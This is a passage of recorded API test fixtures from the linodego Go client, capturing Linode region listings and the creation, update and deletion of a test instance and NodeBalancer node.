"Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-08lggw81w1l0","root_pass":"v534D23]eUG;[VVC!vA205{`5dE1~:j\\yV$e1jbPt2S80w=orJ7HBF:1ji*c/*T`","image":"linode/debian9","firewall_id":640280,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61169919, "label": "go-test-ins-08lggw81w1l0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.55.249"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "3cea0f3e7e25a8eb97340be86615d802453acd3a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "790" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169919/ips method: POST response: body: '{"address": "192.168.128.99", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61169919, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "204" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.128.99:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767856/configs/1266885/nodes method: POST response: body: '{"id": 2051557829, "address": "192.168.128.99:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266885, "nodebalancer_id": 767856}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-node-test-def_r","weight":100,"mode":"drain"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767856/configs/1266885/nodes/2051557829 method: PUT response: body: '{"id": 2051557829, "address": "192.168.128.99:8080", "label": "go-node-test-def_r", "status": "Unknown", "weight": 100, "mode": "drain", "config_id": 1266885, "nodebalancer_id": 767856}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "185" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767856/configs/1266885/nodes/2051557829 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169919 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:39:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerNodes_List.yaml000066400000000000000000001237031474652371000326170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": 